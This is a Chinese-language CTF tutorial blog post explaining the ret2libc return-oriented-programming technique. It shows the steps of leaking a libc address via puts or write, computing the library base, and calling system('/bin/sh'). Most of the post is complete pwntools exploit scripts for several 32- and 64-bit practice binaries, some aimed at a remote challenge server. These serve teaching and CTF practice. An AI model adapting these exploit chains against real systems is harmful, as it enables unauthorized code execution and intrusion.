前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-Ret2libc详解

ROP-Ret2libc详解

作者头像
偏有宸机
发布2020-11-04 10:13:59
1.9K0
发布2020-11-04 10:13:59
举报
文章被收录于专栏:宸机笔记

利用原理

ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system()execve() 这种系统级函数.

当程序开始运行时会加载系统库中的函数,通过函数返回地址直接指向系统库(libc.so.6)中的函数,如system函数,从而执行例如system函数获得shell。

主要目的

劫持binary执行system(/bin/sh)

解题思路

一般有一个溢出点时,要进行两次劫持。

第一次劫持

是为了泄露出某个函数的地址(需要构造两条件)

  • 控制程序eip指向,为第二次劫持做准备
  • 寻找output函数(如putswrite)和待泄露函数
    • 只能泄露使用了的函数:因为动态链接库的加载机制是lazy原则(got表)
    • libc.so 动态链接库中的函数之间相对偏移固定。
    • 每个函数的地址最低的12位并不会发生改变。(即后三位。即便开启PIE)

第二次劫持

是为了控制binary返回到libc执行system(bin/sh)

解题步骤

前骤

使用ldd确认该程序所使用的本地libc库

  • 一般在打本地的程序时,都使用这个库
  • 远程时,先确定泄露出的某函数的真实地址,在利用后三位在libc_database中确定所使用的库并下载到本地

第一次溢出

泄露函数真实地址得到基地址

要使用output函数,如puts和write函数(该函数的特征必须为可以输出地址数据的函数)

puts构造payload(泄露puts函数的地址)

代码语言:javascript
复制
puts_plt_addr =elf.plt['puts']
puts_got_addr  =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)

write构造payload(泄露write函数的地址)

代码语言:javascript
复制
write_plt_addr =elf.plt['write']
write_got_addr =elf.got['write']
main_addr =elf.sym['main']
payload = "a"*60
payload += p32(write_plt_addr)+p32(main_addr)+p32(1)    +p32(write_got_addr)+p32(4)
  • 因为write函数有三个参数,所以这里都要加上。

大概意思即为,使用puts或者write函数的plt地址来连接puts函数的got表地址,最后返回到main函数的地址

“a”*76

p32(system_addr)

p32(0xdeadbeef)

p32(binsh_addr)

溢出字符

要使用的函数的地址

该payload的返回地址(一般都设置位main的地址)

/bin/sh的地址(要使用的函数的参数)

最后发送该payload完成第一次溢出

代码语言:javascript
复制
sh.sendlineafter('pwned me!\n',payload)
libc_write_addr = l ibc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr

另外还需要注意几点:

  • 如果出现recv的报错,可能是payload发送顺序的问题

第二次溢出

利用基地址得到system和binsh的地址以拿到shell

利用上一步得到的基地址算出system和binsh的真实地址

利用这两个地址构造二次溢出的payload

最后发送payload即可完成溢出


例题

NX

点击下载-提取码: 2qtw

思路

按照上面思路即可

EXP

代码语言:javascript
复制
#-*- coding:utf-8
from pwn import *
sh = process("./nx")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','h']
elf = ELF("./nx")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt = elf.plt["puts"]
main_addr = elf.symbols['main']
puts_got = elf.got['puts'] 
payload = "a"*76
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
print hex(puts_plt)
#gdb.attach(sh)
sh.sendlineafter("shellcode:\n",payload)
puts_real_addr = u32(sh.recv(4))
base_addr = puts_real_addr-libc.sym["puts"]
print "puts_got"
print hex(puts_real_addr)
print "libc_puts"
print hex(libc.sym['puts'])
print "base"
print hex(base_addr)
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = 76*'a'
payload2 += p32(system_addr)
payload2 += p32(main_addr)
payload2 += p32(binsh_addr)
sh.sendlineafter("shellcode:\n",payload2)
sh.interactive()

Ez_ret2libc[利用puts泄露地址]

点击下载-提取码: eicw

EXP[0.0]

代码语言:javascript
复制
#-*-coding:utf-8
from pwn import *
sh = process("./ez_ret2libc")
# sh = remote('120.79.17.251',10007)
elf = ELF("./ez_ret2libc")
#libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
puts_got_addr  =elf.got['puts']
puts_plt_addr =elf.plt['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.sendlineafter('choose:',"2")
sleep(1)
sh.sendlineafter('message:',payload)
puts = u32(sh.recv(4))
###到这里时,put是字符串,需要先转换
puts_addr = int(puts)
print type(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr
system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())
max_payload = "a"*54
print "base"
print base_addr
print "system"
print system_addr
print "binsh"
print binsh_addr
max_payload += p32(system_addr)
max_payload += p32(main_addr)
max_payload += p32(binsh_addr)
sleep(1)
sh.sendlineafter("choose:","2")
sh.sendlineafter("message:",max_payload)
sh.interactive()

Ret2libc_32[利用write泄露地址]

思路…

EXP

代码语言:javascript
复制
#-*-coding:utf-8
from pwn import *
#sh = process("./ret2libc_32")
sh = remote('120.79.17.251',10008)
elf = ELF("./ret2libc_32")
libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
write_got_addr =elf.got['write']
write_plt_addr =elf.plt['write']
main_addr =elf.sym['main']
print "----------------"
print hex(main_addr)
print hex(write_got_addr)
print hex(write_plt_addr)
payload = "a"*60
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)
sh.sendlineafter('pwned me!\n',payload)
#print hex(u32(sh.recv(4)))
libc_write_addr = libc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()
max_payload = "a"*52
print "base"
print hex(base_addr)
print "system"
print hex(system_addr)
print "binsh"
print hex(binsh_addr)
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr)
#gdb.attach(sh)
sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()

Ret2libc_64[csu及gets写bss段]

点击下载-提取码: vivt

思路

使用ROPgadget搜索该程序gadgets片段

  • 只能找到 pop_rdi_ret

确定该程序所使用的csu_gadgets

使用csu_gadgets泄露write函数地址

代码语言:javascript
复制
def csu(r12,r13,r14,r15,ret_addr):
    payload = offset
    payload += p64(gadgets1)
    payload += "b"*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r15)
    payload += p64(r14)
    payload += p64(r13)
    payload += p64(gadgets2) 
    payload += "c"*56
    payload += p64(ret_addr)
    sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system']

确定system函数的真实地址后,这时只需要计算出libc中的binsh地址,便可以构造rop链的方式直接进行调用

代码语言:javascript
复制
payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
sh = process('./ret2libc_64')
sh = remote('120.79.17.251',10010)
elf = ELF('./ret2libc_64')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('../../tools/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
gadgets1 = 0x00000000004006B6
gadgets2 = 0x00000000004006A0
write_got = elf.got['write']
main_addr = elf.symbols['main']
offset = 'a'*168
def csu(r12,r13,r14,r15,ret_addr):
    payload = offset
    payload += p64(gadgets1)
    payload += "b"*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r15)
    payload += p64(r14)
    payload += p64(r13)
    payload += p64(gadgets2) 
    payload += "c"*56
    payload += p64(ret_addr)
    sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system']
print "execve:",hex(execve_addr)
#gdb.attach(sh)
sh.recvuntil("Pwn Me?\n")
payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)
sh.sendline(payload)
sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用原理
  • 主要目的
  • 解题思路
    • 第一次劫持
      • 第二次劫持
      • 解题步骤
        • 前骤
          • 第一次溢出
            • 第二次溢出
            • 例题
              • NX
                • 思路
                • EXP
              • Ez_ret2libc[利用puts泄露地址]
                • EXP[0.0]
              • Ret2libc_32[利用write泄露地址]
                • 思路…
                • EXP
              • Ret2libc_64[csu及gets写bss段]
                • 思路
                • EXP
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档